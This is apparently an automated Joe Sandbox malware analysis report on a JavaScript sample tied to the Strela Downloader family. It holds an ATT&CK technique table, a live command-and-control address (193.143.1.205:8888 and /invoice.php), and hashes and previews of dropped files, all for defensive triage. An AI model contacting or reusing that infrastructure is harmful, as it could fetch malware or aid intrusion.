Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	22 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
283532861321088537.js	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/O	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/tem	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/tem	net.exe, 00000007.00000002.1420301074.0000026676888000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000009.00000002.2633879972.0000026E664A0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://www.adobe.co	ReaderMessages.5.dr	false		high
https://g.live.com/odclientsettings/Prod-C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000003.1414516982.00000266768B9000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1414203832.00000266768DD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1420301074.0000026676888000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1420417394.00000266768B9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2-C:	svchost.exe, 00000009.00000003.1425652043.0000026E6BC00000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/O	net.exe, 00000007.00000003.1414516982.00000266768B9000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1420417394.00000266768B9000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587670
Start date and time:	2025-01-10 16:38:25 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 12s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	283532861321088537.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 162.159.61.3, 172.64.41.3, 2.23.197.184, 199.232.210.172, 2.23.242.162, 2.16.168.107, 2.16.168.105, 184.28.90.27, 2.22.242.123, 2.22.242.11, 13.107.246.45, 52.6.155.20, 20.109.210.53, 96.17.64.171
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, fs.microsoft.com, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, otelrules.azureedge.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
10:39:35	API Interceptor	25x Sleep call for process: powershell.exe modified
10:39:40	API Interceptor	1x Sleep call for process: net.exe modified
10:39:41	API Interceptor	2x Sleep call for process: svchost.exe modified
10:39:49	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	10259286552329511027.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	30562134305434372.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	18559217651387524988.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	6994127092970513305.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3254519122657813770.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1712226379134618467.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1136121895118314851.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	7401990642713807.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	705722057165658523.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	382215884163542302.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	launcher.exe.bin.exe	Get hash	malicious	PureLog Stealer, Xmrig, zgRAT	Browse	199.232.210.172
	10259286552329511027.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	30562134305434372.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	18559217651387524988.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	CF342114-CD27-4FDB-9984-9F03FED05312_12172024123959996.dll	Get hash	malicious	Unknown	Browse	199.232.214.172
	6994127092970513305.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	QUOTATION-9044456778.pdf (83kb).com.exe	Get hash	malicious	PureLog Stealer, Quasar	Browse	199.232.214.172
	Shipping Document.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	199.232.210.172
	3254519122657813770.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1712226379134618467.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	550532080162812544.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	10259286552329511027.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	30562134305434372.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	18559217651387524988.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	6994127092970513305.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	251011677249918058.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2078028442107917841.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3254519122657813770.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1712226379134618467.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1136121895118314851.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8807630598161
Encrypted:	false
SSDEEP:	1536:0JVRkX56mk0alaS0aHH0anjJ8PUWJ81s5J8RMvCxwtYD0pQoltqNeveEQYQ1aG9R:0J7adfWuK0p/QDfKoPeuP0aN4fqoxK
MD5:	A2F05EF0CCDCBB4A2C78CD01F5DAA52C
SHA1:	E2A935FD46BC80815128E3A14297B49A7313E558
SHA-256:	32E55332E5A6B4A44CFB5483060FF22419BD18B89D4082B03A2F13428E401EA1
SHA-512:	51D6944E205C056F70CEDBE37BD79EACF5ABF53C414B222C8093C42563804D74E05DC2FE804E98AE6A7447FF9B11EAF99376A074BF578FEBC6553B863E90228B
Malicious:	false
Preview:	2.e.........@..@12...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................K<...kS..#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xd18d4082, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7880863968681542
Encrypted:	false
SSDEEP:	1536:XSB2ESB2SSjlK/lv4T9DY1k0aXjJ8VQVYkr3g16iq2UPkLk+kYv/gKr51KrgzAkv:XazaPv4V4fXq2UaB
MD5:	2C869CC33E3974876D6EDC5A9EEF01CB
SHA1:	98B2784E1B7D0780C10D61C9CBDDCB921F754889
SHA-256:	3A92D263893F44A3334AC5470E9E4A4053A2C16EF4D31724A03BEB9E258CF108
SHA-512:	6FF10D3B576A8860DA76E08BCE0312A004C507F737C16808ABD468FB4C70B303537EFDB44D7534B223041D188B891FD4C48BE441A03EE90BDCCF25F228FA90E4
Malicious:	false
Preview:	.@.... ...............X\...;...{......................X............{..)'...}..h...........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......12...{...............................................................................................................................................................................................2...{..................................j..)'...}Q8................7.F.)'...}...........................#......h.......................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08130982959173028
Encrypted:	false
SSDEEP:	3:86l/llKYe7pJUXlVG0+q2Iqe8lzBtollNTt/4ll/Q6beV/:86t/Kz7pkGE8lNGHtc6V
MD5:	8A5631970C91092DE923F1548295150E
SHA1:	BCBBA2320265B0457C968048F1E4E73CFE5E8073
SHA-256:	0F04B33EB908D0F18B4A80E54A78B8BC562FD6EFFE232E71040FADC99E6CD288
SHA-512:	70BBE9FC863647FE9E0B2632B6D7396D828592C4A52EE290152022D39978396E67B06A659468E7D9D8E540848F03E51C11CFF06E8051B97B56F9F760BB91595C
Malicious:	false
Preview:	.8.......................................;...{..)'...}.......{...............{.......{....:......{.................7.F.)'...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.169712240973414
Encrypted:	false
SSDEEP:	6:iO4PCaFdMyq2PFi2nKuAl9OmbnIFUtSPCh11ZmwsPChjRkwOFi2nKuAl9OmbjLJ:73aFdMyvdZHAahFUtphX/7hjR5wZHAae
MD5:	CA9CDC436E43E55F46B20620ED76B595
SHA1:	CA897BE778E88199F30133CDCA8F223CA19E5343
SHA-256:	41A90591CC1428C509A1B9096B26400BBBD7C0133B201CD1E18417CC02638003
SHA-512:	296DFB8BC4E41E613F4AA0D5D1B99555C1E475F2C49EE1EFB6DC39B2ACD3D4B0EA7F11E0473C3073CD4138137341B2454634A3DA5A587DEA08666B96D29948EB
Malicious:	false
Preview:	2025/01/10-10:39:41.238 8e0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-10:39:41.241 8e0 Recovering log #3.2025/01/10-10:39:41.241 8e0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.169712240973414
Encrypted:	false
SSDEEP:	6:iO4PCaFdMyq2PFi2nKuAl9OmbnIFUtSPCh11ZmwsPChjRkwOFi2nKuAl9OmbjLJ:73aFdMyvdZHAahFUtphX/7hjR5wZHAae
MD5:	CA9CDC436E43E55F46B20620ED76B595
SHA1:	CA897BE778E88199F30133CDCA8F223CA19E5343
SHA-256:	41A90591CC1428C509A1B9096B26400BBBD7C0133B201CD1E18417CC02638003
SHA-512:	296DFB8BC4E41E613F4AA0D5D1B99555C1E475F2C49EE1EFB6DC39B2ACD3D4B0EA7F11E0473C3073CD4138137341B2454634A3DA5A587DEA08666B96D29948EB
Malicious:	false
Preview:	2025/01/10-10:39:41.238 8e0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-10:39:41.241 8e0 Recovering log #3.2025/01/10-10:39:41.241 8e0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.151174031032221
Encrypted:	false
SSDEEP:	6:iO4PCaFuAQL+q2PFi2nKuAl9Ombzo2jMGIFUtSPCpUiG1ZmwsPCQEAQLVkwOFi2g:73aF4+vdZHAa8uFUtp41/7QE9V5wZHAv
MD5:	FFEBB597C456F1F6F1ADF9A65EBAC86F
SHA1:	5618576B1D1D756D1B4632D62E5E7BD3CDA983CC
SHA-256:	C62795E7A37F0A234DA9B242BD4C65151C284722FBC044613FB79472E663F65C
SHA-512:	3F063C1EF0A3933458C07229804E53FC61B5A4B12A207233A66E8363E9E77124C0F9B4A76E22825FB1DCAD0CA38AF64E16711991DC8F74E212010E6632CDE537
Malicious:	false
Preview:	2025/01/10-10:39:41.238 19c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-10:39:41.240 19c Recovering log #3.2025/01/10-10:39:41.241 19c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.151174031032221
Encrypted:	false
SSDEEP:	6:iO4PCaFuAQL+q2PFi2nKuAl9Ombzo2jMGIFUtSPCpUiG1ZmwsPCQEAQLVkwOFi2g:73aF4+vdZHAa8uFUtp41/7QE9V5wZHAv
MD5:	FFEBB597C456F1F6F1ADF9A65EBAC86F
SHA1:	5618576B1D1D756D1B4632D62E5E7BD3CDA983CC
SHA-256:	C62795E7A37F0A234DA9B242BD4C65151C284722FBC044613FB79472E663F65C
SHA-512:	3F063C1EF0A3933458C07229804E53FC61B5A4B12A207233A66E8363E9E77124C0F9B4A76E22825FB1DCAD0CA38AF64E16711991DC8F74E212010E6632CDE537
Malicious:	false
Preview:	2025/01/10-10:39:41.238 19c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-10:39:41.240 19c Recovering log #3.2025/01/10-10:39:41.241 19c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\2955a623-7122-4dbb-b1ac-3e7c436c2726.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	476
Entropy (8bit):	4.9767988064066095
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq12sBdOg2HmZcaq3QYiubpP7E4T3y:Y2sRdsodMHmg3QYhbd7nby
MD5:	0BF5952AC9850B740B038907F478116A
SHA1:	918836A03A33AA7D609E1A20C334D303A1942E7E
SHA-256:	92909B47BD9EF83E4752C8698CCB87834E80B75D4CADFB6060B7E202834A7835
SHA-512:	7C6D60B3A4E344F44A96620AFFBAFA4746601DF01482A4659B498355630B9AEADCF1487783BAB4701652B3616FA469E8EF9E5B5A51D6E07958870B5DAC0037CD
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381083591977829","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":127350},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.9767988064066095
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq12sBdOg2HmZcaq3QYiubpP7E4T3y:Y2sRdsodMHmg3QYhbd7nby
MD5:	0BF5952AC9850B740B038907F478116A
SHA1:	918836A03A33AA7D609E1A20C334D303A1942E7E
SHA-256:	92909B47BD9EF83E4752C8698CCB87834E80B75D4CADFB6060B7E202834A7835
SHA-512:	7C6D60B3A4E344F44A96620AFFBAFA4746601DF01482A4659B498355630B9AEADCF1487783BAB4701652B3616FA469E8EF9E5B5A51D6E07958870B5DAC0037CD
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381083591977829","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":127350},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.236073820926305
Encrypted:	false
SSDEEP:	96:wshFT0h7cA4YC2EVPCqY35NEmNOYcGPtqKYSEV4jcH6Vh83G:wshFT0h7cZb2EVKZPEANcGIK5EV4jcHU
MD5:	AACF529ABA0F21948A613EFDDE01CC16
SHA1:	5F14FC508C128697CC82045F0165BA30DC7176FA
SHA-256:	0EA846CE174E1F234CB3B62538459AD3B6620DF6A7BA5ABCDC7BCF66CAF5B2C2
SHA-512:	6207D20A6A52DFD15DE7669779398AE83413B76EA2C1F068F9DFE0790D9CA78D1B93EC4B3FB24AC33ABDCD5C80B55FE588AFDD0126EB6B7297FA4E1F956EFC67
Malicious:	false
Preview:	*...#................version.1..namespace-#..o................next-map-id.1.Pnamespace-03b00fbd_48ad_47b1_8693_0d5562b6d54b-https://rna-resource.acrobat.com/.0..QRr................next-map-id.2.Snamespace-9efb0a2e_bf8a_4008_b12a_325311a763d0-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-493a2582_fd2f_403f_a0b6_bf623eaab337-https://rna-v2-resource.acrobat.com/.2%e.o................next-map-id.4.Pnamespace-285943ad_4ed5_46fb_8713_f1874054bf05-https://rna-resource.acrobat.com/.3nU..^...............Pnamespace-03b00fbd_48ad_47b1_8693_0d5562b6d54b-https://rna-resource.acrobat.com/"..C^...............Pnamespace-285943ad_4ed5_46fb_8713_f1874054bf05-https://rna-resource.acrobat.com/....a...............Snamespace-9efb0a2e_bf8a_4008_b12a_325311a763d0-https://rna-v2-resource.acrobat.com/.+;\|a...............Snamespace-493a2582_fd2f_403f_a0b6_bf623eaab337-https://rna-v2-resource.acrobat.com/....o................next-map-id.5.Pnamespace-10b75d2f_11e7_4fa3_ae23_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	319
Entropy (8bit):	5.188639459933508
Encrypted:	false
SSDEEP:	6:iO4PIKKSQL+q2PFi2nKuAl9OmbzNMxIFUtSPI0AG1ZmwsPIH3AQLVkwOFi2nKuAo:70K3+vdZHAa8jFUtAj1/99V5wZHAa84J
MD5:	FBB3BD64AE5428F5C50F5F7353EB596B
SHA1:	77F278C0D14E057AAD60CBCD6F22B02E3974B9CB
SHA-256:	966F922000BDE6AEC66DF85932CE494B0A54B7B4FF32726779DA2448ABD3E466
SHA-512:	A4B89AC4F67BBE6725F96501183BCD348A9ECCF0A875430A49047EC4CEB7BC3BBB3F0B9D755FAE8D900767D00D5937FDD56C493990C41FE3CC4DA30F3C2FC0AB
Malicious:	false
Preview:	2025/01/10-10:39:41.816 19c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-10:39:41.831 19c Recovering log #3.2025/01/10-10:39:41.843 19c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	319
Entropy (8bit):	5.188639459933508
Encrypted:	false
SSDEEP:	6:iO4PIKKSQL+q2PFi2nKuAl9OmbzNMxIFUtSPI0AG1ZmwsPIH3AQLVkwOFi2nKuAo:70K3+vdZHAa8jFUtAj1/99V5wZHAa84J
MD5:	FBB3BD64AE5428F5C50F5F7353EB596B
SHA1:	77F278C0D14E057AAD60CBCD6F22B02E3974B9CB
SHA-256:	966F922000BDE6AEC66DF85932CE494B0A54B7B4FF32726779DA2448ABD3E466
SHA-512:	A4B89AC4F67BBE6725F96501183BCD348A9ECCF0A875430A49047EC4CEB7BC3BBB3F0B9D755FAE8D900767D00D5937FDD56C493990C41FE3CC4DA30F3C2FC0AB
Malicious:	false
Preview:	2025/01/10-10:39:41.816 19c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-10:39:41.831 19c Recovering log #3.2025/01/10-10:39:41.843 19c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438570815011108
Encrypted:	false
SSDEEP:	384:yejci5GEiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:0IurVgazUpUTTGt
MD5:	9940B1F2306667DA6EF94141898D8A1F
SHA1:	6C7C6A3A24E618E296E03446623F056EE61BBD70
SHA-256:	A9E614903E05E054F703D78B8F289FBE794AFDFD9D0A7BB20388E77A0760F43B
SHA-512:	18D3EDE6C07D4CBCA703FF37FAAD1691F4C380AD85C3BCB17F3699641CF10ADBDD2611362CCC17FC16E37CC1406B3539F981B563DA409A9E4B5ECF2584AE3775
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7744952706637758
Encrypted:	false
SSDEEP:	48:7MHp/E2ioyVy3ioy5oWoy1CUoy1T0KOioy1noy1AYoy1Wioy1hioybioy14oy1nA:70pjuEJ3XKQPPb9IVXEBodRBk2
MD5:	B281C09CDCE878070DCDD450C340CBC3
SHA1:	2D6313ECDADEED96DDF3CE7CAFEE9316897BFD06
SHA-256:	65AF019D4A1E3D89CF8F447A3FD95890CC9444B5ED0D1BBA17681505FFD5F6BC
SHA-512:	A9C610021185B520C907CD74E96421AA3F9C1C4A9DA85E9B2C48A62D9B8D417170C7F5AF55BAEE26A79C8FA5A2F9605E0DB8692D94839729469E2046AEDCC4AA
Malicious:	false
Preview:	.... .c.....x*.L...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
